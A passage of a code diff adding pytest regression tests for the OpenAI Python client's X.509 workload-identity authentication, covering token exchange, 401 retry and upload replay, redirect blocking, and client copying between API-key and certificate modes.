+ def handle_request(self, request: httpx2.Request) -> httpx2.Response:
+ nonlocal token_count
+ if str(request.url) == _TOKEN_URL:
+ token_count += 1
+ return _token_response(request, token=f"token-{token_count}")
+
+ request_bodies.append(b"".join(cast(Iterable[bytes], request.stream)))
+ return _models_response(request, 401 if token_count == 1 else 200)
+
+ stream = io.BytesIO(b"prefix-body")
+ stream.seek(len(b"prefix-"))
+ request = httpx2.Request(
+ "POST",
+ _API_URL,
+ content=stream,
+ headers={"authorization": f"Bearer {WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER}"},
+ )
+ http_client = httpx2.Client(transport=StreamingTransport(), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ response = client._send_request(request, stream=False)
+
+ assert response.status_code == 200
+ assert request_bodies == [b"body", b"body"]
+
+
+@pytest.mark.parametrize("seekable", [True, False])
+async def test_async_x509_401_retries_only_replayable_uploads(seekable: bool) -> None:
+ requests: list[httpx2.Request] = []
+
+ class Upload(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ return seekable
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return _token_response(request, token=f"token-{len(requests)}")
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError):
+ await client.files.create(file=("document.txt", Upload(b"contents")), purpose="assistants")
+
+ assert len(requests) == (4 if seekable else 2)
+
+
+def test_x509_does_not_retry_one_shot_sync_request_stream() -> None:
+ def chunks() -> Iterator[bytes]:
+ yield b"body"
+
+ request = httpx2.Request("POST", _API_URL, content=chunks())
+ assert not x509_auth._is_replayable_request(request)
+
+
+async def test_x509_does_not_retry_one_shot_async_request_stream() -> None:
+ async def chunks() -> AsyncIterator[bytes]:
+ yield b"body"
+
+ request = httpx2.Request("POST", _API_URL, content=chunks())
+ assert not x509_auth._is_replayable_request(request)
+
+
+@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane")
+def test_sync_x509_reuses_legacy_httpx_transport() -> None:
+ httpx = cast(Any, importlib.import_module("httpx"))
+ requests: list[Any] = []
+
+ def handler(request: Any) -> Any:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return httpx.Response(200, request=request, json={"access_token": "legacy-token", "expires_in": 3600})
+ return httpx.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx.Client(transport=httpx.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+@pytest.mark.skipif(os.getenv("OPENAI_TEST_LEGACY_HTTPX") != "1", reason="requires legacy HTTPX compatibility lane")
+async def test_async_x509_reuses_legacy_httpx_transport() -> None:
+ httpx = cast(Any, importlib.import_module("httpx"))
+ requests: list[Any] = []
+
+ async def handler(request: Any) -> Any:
+ requests.append(request)
+ if str(request.url) == _TOKEN_URL:
+ return httpx.Response(200, request=request, json={"access_token": "legacy-token", "expires_in": 3600})
+ return httpx.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx.AsyncClient(transport=httpx.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert [str(request.url) for request in requests] == [_TOKEN_URL, _API_URL]
+
+
+def test_x509_copy_reuses_effective_transport_and_preserves_identity() -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return _token_response(request) if str(request.url) == _TOKEN_URL else _models_response(request)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ client = OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0)
+ copied = client.with_options()
+ assert copied._client is http_client
+ assert copied.workload_identity == client.workload_identity
+ assert copied.models.list().object == "list"
+ client.close()
+
+
+@pytest.mark.parametrize("example", ["x509_workload_identity.py", "x509_workload_identity_async.py"])
+@pytest.mark.parametrize("mode", ["api_key", "x509"])
+def test_x509_rollout_examples_construct_clients_without_network(
+ example: str, mode: str, monkeypatch: pytest.MonkeyPatch
+) -> None:
+ monkeypatch.setenv("OPENAI_AUTH_MODE", mode)
+ monkeypatch.setenv("OPENAI_API_KEY", "example-api-key")
+ monkeypatch.setenv("OPENAI_IDENTITY_PROVIDER_ID", "idp_example")
+ monkeypatch.setenv("OPENAI_SERVICE_ACCOUNT_ID", "svc_acct_example")
+ monkeypatch.setenv("OPENAI_MTLS_CA_BUNDLE", str(_MTLS_FIXTURES / "root.pem"))
+ monkeypatch.setenv("OPENAI_MTLS_CERTIFICATE_CHAIN", str(_MTLS_FIXTURES / "client-chain.pem"))
+ monkeypatch.setenv("OPENAI_MTLS_PRIVATE_KEY", str(_MTLS_FIXTURES / "client.key"))
+
+ namespace = runpy.run_path(str(Path(__file__).parent.parent / "examples" / example))
+ create_client = cast(Callable[[], OpenAI | AsyncOpenAI], namespace["create_client"])
+ client = create_client()
+ if mode == "x509":
+ assert client.workload_identity == {
+ "type": "x509",
+ "identity_provider_id": "idp_example",
+ "service_account_id": "svc_acct_example",
+ }
+ assert client._client.follow_redirects is False
+ else:
+ assert client.api_key == "example-api-key"
+
+ if isinstance(client, OpenAI):
+ client.close()
+ else:
+ anyio.run(client.close)
diff --git a/tests/test_x509_workload_identity_regressions.py b/tests/test_x509_workload_identity_regressions.py
new file mode 100644
index 0000000000..a8c52bf4a8
--- /dev/null
+++ b/tests/test_x509_workload_identity_regressions.py
@@ -0,0 +1,729 @@
+from __future__ import annotations
+
+import io
+import asyncio
+import threading
+from typing import cast, get_args, get_type_hints
+from typing_extensions import override
+from concurrent.futures import ThreadPoolExecutor
+
+import anyio
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI, OpenAIError, APIStatusError
+from openai.auth import X509WorkloadIdentity, x509_workload_identity
+from openai._client import WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER
+from openai.auth._workload import _WorkloadIdentityAuth
+
+_TOKEN_URL = "https://mtls.auth.openai.com/oauth/token"
+_API_URL = "https://mtls.api.openai.com/v1/models"
+
+
+def _identity() -> X509WorkloadIdentity:
+ return x509_workload_identity(identity_provider_id="idp_123", service_account_id="svc_acct_123")
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_x509_auth_initializes_its_typed_common_superclass(client_type: type[OpenAI] | type[AsyncOpenAI]) -> None:
+ client = client_type(workload_identity=_identity())
+ auth = client._workload_identity_auth
+
+ assert isinstance(auth, _WorkloadIdentityAuth)
+ assert auth.workload_identity == _identity()
+ assert auth._cached_token is None
+ assert auth._follow_redirects is False
+
+ if isinstance(client, OpenAI):
+ client.close()
+ else:
+ anyio.run(client.close)
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+def test_copy_signatures_accept_typed_x509_workload_identities(client_type: type[OpenAI] | type[AsyncOpenAI]) -> None:
+ assert X509WorkloadIdentity in get_args(get_type_hints(client_type.copy)["workload_identity"])
+ assert X509WorkloadIdentity in get_args(get_type_hints(client_type.with_options)["workload_identity"])
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize(
+ "identity",
+ [
+ {"identity_provider_id": "idp_123", "service_account_id": "svc_acct_123"},
+ {"type": "x590", "identity_provider_id": "idp_123", "service_account_id": "svc_acct_123"},
+ {},
+ ],
+)
+def test_client_rejects_unrecognized_workload_identity_shapes(
+ client_type: type[OpenAI] | type[AsyncOpenAI], identity: dict[str, str]
+) -> None:
+ with pytest.raises(OpenAIError, match="Invalid `workload_identity` configuration"):
+ client_type(workload_identity=cast(X509WorkloadIdentity, identity))
+
+
+@pytest.mark.parametrize("client_type", [OpenAI, AsyncOpenAI])
+@pytest.mark.parametrize("missing_key", ["identity_provider_id", "service_account_id"])
+def test_client_rejects_x509_identity_missing_a_required_id(
+ client_type: type[OpenAI] | type[AsyncOpenAI], missing_key: str
+) -> None:
+ identity = {key: value for key, value in _identity().items() if key != missing_key}
+
+ with pytest.raises(OpenAIError, match="requires identity-provider and service-account IDs"):
+ client_type(workload_identity=cast(X509WorkloadIdentity, identity))
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+def test_sync_copy_accepts_an_explicit_x509_identity(method: str) -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "copied-token", "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ replacement = x509_workload_identity(identity_provider_id="idp_replacement", service_account_id="svc_replacement")
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ copied = (
+ client.copy(workload_identity=replacement)
+ if method == "copy"
+ else client.with_options(workload_identity=replacement)
+ )
+ assert copied.workload_identity == replacement
+ assert copied._client is http_client
+ assert copied.models.list().object == "list"
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+async def test_async_copy_accepts_an_explicit_x509_identity(method: str) -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "copied-token", "expires_in": 3600})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ replacement = x509_workload_identity(identity_provider_id="idp_replacement", service_account_id="svc_replacement")
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ copied = (
+ client.copy(workload_identity=replacement)
+ if method == "copy"
+ else client.with_options(workload_identity=replacement)
+ )
+ assert copied.workload_identity == replacement
+ assert copied._client is http_client
+ assert (await copied.models.list()).object == "list"
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+@pytest.mark.parametrize("base_url", [None, "https://custom.example/v1", "https://api.openai.com/v1"])
+def test_sync_copy_can_switch_from_api_key_to_x509_identity(method: str, base_url: str | None) -> None:
+ api_authorizations: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "switched-token", "expires_in": 3600})
+ api_authorizations.append(request.headers["Authorization"])
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(api_key="original-api-key", base_url=base_url, http_client=http_client, max_retries=0) as client:
+ copied = (
+ client.copy(workload_identity=_identity())
+ if method == "copy"
+ else client.with_options(workload_identity=_identity())
+ )
+ assert client.api_key == "original-api-key"
+ assert copied.api_key == WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER
+ assert str(copied.base_url) == f"{base_url or 'https://mtls.api.openai.com/v1'}/"
+ assert copied._client is http_client
+ assert copied.models.list().object == "list"
+
+ assert api_authorizations == ["Bearer switched-token"]
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+@pytest.mark.parametrize("base_url", [None, "https://custom.example/v1", "https://api.openai.com/v1"])
+async def test_async_copy_can_switch_from_api_key_to_x509_identity(method: str, base_url: str | None) -> None:
+ api_authorizations: list[str] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ return httpx2.Response(200, request=request, json={"access_token": "switched-token", "expires_in": 3600})
+ api_authorizations.append(request.headers["Authorization"])
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(
+ api_key="original-api-key", base_url=base_url, http_client=http_client, max_retries=0
+ ) as client:
+ copied = (
+ client.copy(workload_identity=_identity())
+ if method == "copy"
+ else client.with_options(workload_identity=_identity())
+ )
+ assert client.api_key == "original-api-key"
+ assert copied.api_key == WORKLOAD_IDENTITY_API_KEY_PLACEHOLDER
+ assert str(copied.base_url) == f"{base_url or 'https://mtls.api.openai.com/v1'}/"
+ assert copied._client is http_client
+ assert (await copied.models.list()).object == "list"
+
+ assert api_authorizations == ["Bearer switched-token"]
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+@pytest.mark.parametrize("base_url", [None, "https://custom.example/v1", "https://mtls.api.openai.com/v1"])
+def test_sync_copy_can_switch_from_x509_identity_to_api_key(method: str, base_url: str | None) -> None:
+ requests: list[httpx2.Request] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), base_url=base_url, http_client=http_client, max_retries=0) as client:
+ copied = (
+ client.copy(api_key="replacement-api-key")
+ if method == "copy"
+ else client.with_options(api_key="replacement-api-key")
+ )
+ assert client.workload_identity == _identity()
+ assert copied.workload_identity is None
+ assert copied.api_key == "replacement-api-key"
+ assert str(copied.base_url) == f"{base_url or 'https://api.openai.com/v1'}/"
+ assert copied._client is http_client
+ assert copied.models.list().object == "list"
+
+ assert len(requests) == 1
+ assert requests[0].headers["Authorization"] == "Bearer replacement-api-key"
+
+
+@pytest.mark.parametrize("method", ["copy", "with_options"])
+@pytest.mark.parametrize("base_url", [None, "https://custom.example/v1", "https://mtls.api.openai.com/v1"])
+async def test_async_copy_can_switch_from_x509_identity_to_api_key(method: str, base_url: str | None) -> None:
+ requests: list[httpx2.Request] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ requests.append(request)
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(
+ workload_identity=_identity(), base_url=base_url, http_client=http_client, max_retries=0
+ ) as client:
+ copied = (
+ client.copy(api_key="replacement-api-key")
+ if method == "copy"
+ else client.with_options(api_key="replacement-api-key")
+ )
+ assert client.workload_identity == _identity()
+ assert copied.workload_identity is None
+ assert copied.api_key == "replacement-api-key"
+ assert str(copied.base_url) == f"{base_url or 'https://api.openai.com/v1'}/"
+ assert copied._client is http_client
+ assert (await copied.models.list()).object == "list"
+
+ assert len(requests) == 1
+ assert requests[0].headers["Authorization"] == "Bearer replacement-api-key"
+
+
+def test_sync_copy_preserves_implicit_base_url_provenance_across_chained_copies() -> None:
+ http_client = httpx2.Client(trust_env=False)
+ with OpenAI(api_key="original-api-key", http_client=http_client) as client:
+ copied = client.copy(timeout=1).copy(workload_identity=_identity())
+
+ assert str(copied.base_url) == "https://mtls.api.openai.com/v1/"
+
+
+async def test_async_copy_preserves_implicit_base_url_provenance_across_chained_copies() -> None:
+ http_client = httpx2.AsyncClient(trust_env=False)
+ async with AsyncOpenAI(api_key="original-api-key", http_client=http_client) as client:
+ copied = client.copy(timeout=1).copy(workload_identity=_identity())
+
+ assert str(copied.base_url) == "https://mtls.api.openai.com/v1/"
+
+
+@pytest.mark.parametrize("starts_with_x509", [False, True])
+def test_sync_copy_preserves_base_url_assigned_through_setter(starts_with_x509: bool) -> None:
+ http_client = httpx2.Client(trust_env=False)
+ client = (
+ OpenAI(workload_identity=_identity(), http_client=http_client)
+ if starts_with_x509
+ else OpenAI(api_key="original-api-key", http_client=http_client)
+ )
+ with client:
+ client.base_url = "https://assigned.example/v1"
+ same_mode_copy = client.copy(timeout=1)
+ copied = (
+ same_mode_copy.copy(api_key="replacement-api-key")
+ if starts_with_x509
+ else same_mode_copy.copy(workload_identity=_identity())
+ )
+
+ assert str(same_mode_copy.base_url) == "https://assigned.example/v1/"
+ assert str(copied.base_url) == "https://assigned.example/v1/"
+
+
+@pytest.mark.parametrize("starts_with_x509", [False, True])
+async def test_async_copy_preserves_base_url_assigned_through_setter(starts_with_x509: bool) -> None:
+ http_client = httpx2.AsyncClient(trust_env=False)
+ client = (
+ AsyncOpenAI(workload_identity=_identity(), http_client=http_client)
+ if starts_with_x509
+ else AsyncOpenAI(api_key="original-api-key", http_client=http_client)
+ )
+ async with client:
+ client.base_url = "https://assigned.example/v1"
+ same_mode_copy = client.copy(timeout=1)
+ copied = (
+ same_mode_copy.copy(api_key="replacement-api-key")
+ if starts_with_x509
+ else same_mode_copy.copy(workload_identity=_identity())
+ )
+
+ assert str(same_mode_copy.base_url) == "https://assigned.example/v1/"
+ assert str(copied.base_url) == "https://assigned.example/v1/"
+
+
+@pytest.mark.parametrize("authorization", [None, "Bearer caller-override"])
+def test_sync_x509_disables_redirects_without_placeholder_authorization(authorization: str | None) -> None:
+ urls: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ urls.append(str(request.url))
+ return httpx2.Response(302, request=request, headers={"location": "https://other.example/v1/models"})
+
+ headers = {} if authorization is None else {"Authorization": authorization}
+ request = httpx2.Request("GET", _API_URL, headers=headers)
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), follow_redirects=True, trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ response = client._send_request(request, stream=False)
+
+ assert response.status_code == 302
+ assert urls == [_API_URL]
+
+
+@pytest.mark.parametrize("authorization", [None, "Bearer caller-override"])
+async def test_async_x509_disables_redirects_without_placeholder_authorization(authorization: str | None) -> None:
+ urls: list[str] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ urls.append(str(request.url))
+ return httpx2.Response(302, request=request, headers={"location": "https://other.example/v1/models"})
+
+ headers = {} if authorization is None else {"Authorization": authorization}
+ request = httpx2.Request("GET", _API_URL, headers=headers)
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), follow_redirects=True, trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ response = await client._send_request(request, stream=False)
+
+ assert response.status_code == 302
+ assert urls == [_API_URL]
+
+
+def test_sync_x509_exchange_does_not_inherit_caller_http_auth() -> None:
+ exchange_authorizations: list[str | None] = []
+ api_authorizations: list[str | None] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ exchange_authorizations.append(request.headers.get("Authorization"))
+ return httpx2.Response(200, request=request, json={"access_token": "safe-token", "expires_in": 3600})
+ api_authorizations.append(request.headers.get("Authorization"))
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler),
+ auth=httpx2.BasicAuth("caller", "private-api-credential"),
+ trust_env=False,
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert exchange_authorizations == [None]
+ assert api_authorizations == ["Bearer safe-token"]
+
+
+async def test_async_x509_exchange_does_not_inherit_caller_http_auth() -> None:
+ exchange_authorizations: list[str | None] = []
+ api_authorizations: list[str | None] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ exchange_authorizations.append(request.headers.get("Authorization"))
+ return httpx2.Response(200, request=request, json={"access_token": "safe-token", "expires_in": 3600})
+ api_authorizations.append(request.headers.get("Authorization"))
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler),
+ auth=httpx2.BasicAuth("caller", "private-api-credential"),
+ trust_env=False,
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert exchange_authorizations == [None]
+ assert api_authorizations == ["Bearer safe-token"]
+
+
+def test_sync_x509_exchange_does_not_inherit_caller_request_state() -> None:
+ exchange_headers: list[httpx2.Headers] = []
+ api_headers: list[httpx2.Headers] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ exchange_headers.append(request.headers)
+ return httpx2.Response(200, request=request, json={"access_token": "safe-token", "expires_in": 3600})
+ api_headers.append(request.headers)
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(
+ transport=httpx2.MockTransport(handler),
+ headers={
+ "Authorization": "Bearer private-api-credential",
+ "X-Customer-Metadata": "private-api-metadata",
+ "Content-Type": "application/private",
+ },
+ cookies={"session": "private-cookie"},
+ trust_env=False,
+ )
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert client.models.list().object == "list"
+
+ assert len(exchange_headers) == 1
+ assert exchange_headers[0].get("Authorization") is None
+ assert exchange_headers[0].get("X-Customer-Metadata") is None
+ assert exchange_headers[0].get("Cookie") is None
+ assert exchange_headers[0]["Content-Type"] == "application/json"
+ assert len(api_headers) == 1
+ assert api_headers[0]["Authorization"] == "Bearer safe-token"
+ assert api_headers[0]["X-Customer-Metadata"] == "private-api-metadata"
+ assert api_headers[0]["Cookie"] == "session=private-cookie"
+ assert api_headers[0]["Content-Type"] == "application/private"
+
+
+async def test_async_x509_exchange_does_not_inherit_caller_request_state() -> None:
+ exchange_headers: list[httpx2.Headers] = []
+ api_headers: list[httpx2.Headers] = []
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ if str(request.url) == _TOKEN_URL:
+ exchange_headers.append(request.headers)
+ return httpx2.Response(200, request=request, json={"access_token": "safe-token", "expires_in": 3600})
+ api_headers.append(request.headers)
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.AsyncClient(
+ transport=httpx2.MockTransport(handler),
+ headers={
+ "Authorization": "Bearer private-api-credential",
+ "X-Customer-Metadata": "private-api-metadata",
+ "Content-Type": "application/private",
+ },
+ cookies={"session": "private-cookie"},
+ trust_env=False,
+ )
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ assert (await client.models.list()).object == "list"
+
+ assert len(exchange_headers) == 1
+ assert exchange_headers[0].get("Authorization") is None
+ assert exchange_headers[0].get("X-Customer-Metadata") is None
+ assert exchange_headers[0].get("Cookie") is None
+ assert exchange_headers[0]["Content-Type"] == "application/json"
+ assert len(api_headers) == 1
+ assert api_headers[0]["Authorization"] == "Bearer safe-token"
+ assert api_headers[0]["X-Customer-Metadata"] == "private-api-metadata"
+ assert api_headers[0]["Cookie"] == "session=private-cookie"
+ assert api_headers[0]["Content-Type"] == "application/private"
+
+
+@pytest.mark.parametrize("response_body", [[], "not-an-object", 42, True])
+def test_sync_x509_rejects_non_object_token_responses(response_body: object) -> None:
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(200, request=request, json=response_body)
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="response body was not a JSON object"):
+ client.models.list()
+
+
+@pytest.mark.parametrize("response_body", [[], "not-an-object", 42, True])
+async def test_async_x509_rejects_non_object_token_responses(response_body: object) -> None:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ return httpx2.Response(200, request=request, json=response_body)
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(OpenAIError, match="response body was not a JSON object"):
+ await client.models.list()
+
+
+def test_sync_x509_invalidates_rejected_token_without_replaying_one_shot_upload() -> None:
+ exchange_calls = 0
+ api_authorizations: list[str] = []
+
+ class OneShotUpload(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ return False
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ api_authorizations.append(request.headers["Authorization"])
+ if exchange_calls == 1:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError):
+ client.files.create(file=("first.txt", OneShotUpload(b"first")), purpose="assistants")
+ assert client.files.create(file=("second.txt", OneShotUpload(b"second")), purpose="assistants").id == "file_123"
+
+ assert exchange_calls == 2
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2"]
+
+
+async def test_async_x509_invalidates_rejected_token_without_replaying_one_shot_upload() -> None:
+ exchange_calls = 0
+ api_authorizations: list[str] = []
+
+ class OneShotUpload(io.BytesIO):
+ @override
+ def seekable(self) -> bool:
+ return False
+
+ async def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ api_authorizations.append(request.headers["Authorization"])
+ if exchange_calls == 1:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ http_client = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError):
+ await client.files.create(file=("first.txt", OneShotUpload(b"first")), purpose="assistants")
+ uploaded = await client.files.create(file=("second.txt", OneShotUpload(b"second")), purpose="assistants")
+
+ assert uploaded.id == "file_123"
+ assert exchange_calls == 2
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2"]
+
+
+def test_sync_x509_rewinds_seekable_multipart_upload_to_its_original_position() -> None:
+ upload = io.BytesIO(b"prefix-upload-payload")
+ upload.seek(len(b"prefix-"))
+ initial_position = upload.tell()
+ positions: list[int] = []
+ bodies: list[bytes] = []
+ exchange_calls = 0
+
+ class ConsumingTransport(httpx2.BaseTransport):
+ @override
+ def handle_request(self, request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ positions.append(upload.tell())
+ bodies.append(request.read())
+ if exchange_calls == 1:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ http_client = httpx2.Client(transport=ConsumingTransport(), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ uploaded = client.files.create(file=("upload.txt", upload), purpose="assistants")
+
+ assert uploaded.id == "file_123"
+ assert positions == [initial_position, initial_position]
+ assert len(bodies) == 2 and bodies[0] == bodies[1]
+ assert b"upload-payload" in bodies[0]
+
+
+async def test_async_x509_rewinds_seekable_multipart_upload_to_its_original_position() -> None:
+ upload = io.BytesIO(b"prefix-upload-payload")
+ upload.seek(len(b"prefix-"))
+ initial_position = upload.tell()
+ positions: list[int] = []
+ bodies: list[bytes] = []
+ exchange_calls = 0
+
+ class ConsumingTransport(httpx2.AsyncBaseTransport):
+ @override
+ async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ positions.append(upload.tell())
+ bodies.append(await request.aread())
+ if exchange_calls == 1:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"id": "file_123", "object": "file"})
+
+ http_client = httpx2.AsyncClient(transport=ConsumingTransport(), trust_env=False)
+ async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ uploaded = await client.files.create(file=("upload.txt", upload), purpose="assistants")
+
+ assert uploaded.id == "file_123"
+ assert positions == [initial_position, initial_position]
+ assert len(bodies) == 2 and bodies[0] == bodies[1]
+ assert b"upload-payload" in bodies[0]
+
+
+def test_sync_x509_invalidates_a_rejected_replay_token() -> None:
+ exchange_calls = 0
+ api_authorizations: list[str] = []
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ nonlocal exchange_calls
+ if str(request.url) == _TOKEN_URL:
+ exchange_calls += 1
+ return httpx2.Response(
+ 200, request=request, json={"access_token": f"token-{exchange_calls}", "expires_in": 3600}
+ )
+
+ api_authorizations.append(request.headers["Authorization"])
+ if exchange_calls < 3:
+ return httpx2.Response(401, request=request, json={"error": {"message": "unauthorized"}})
+ return httpx2.Response(200, request=request, json={"object": "list", "data": []})
+
+ http_client = httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False)
+ with OpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client:
+ with pytest.raises(APIStatusError, match="401"):
+ client.models.list()
+ assert client.models.list().object == "list"
+
+ assert exchange_calls == 3
+ assert api_authorizations == ["Bearer token-1", "Bearer token-2", "Bearer token-3"]
+
+
+async def test_async_x509_invalidates_a_rejected_replay_token() -> None:
+ exchange_calls = 0
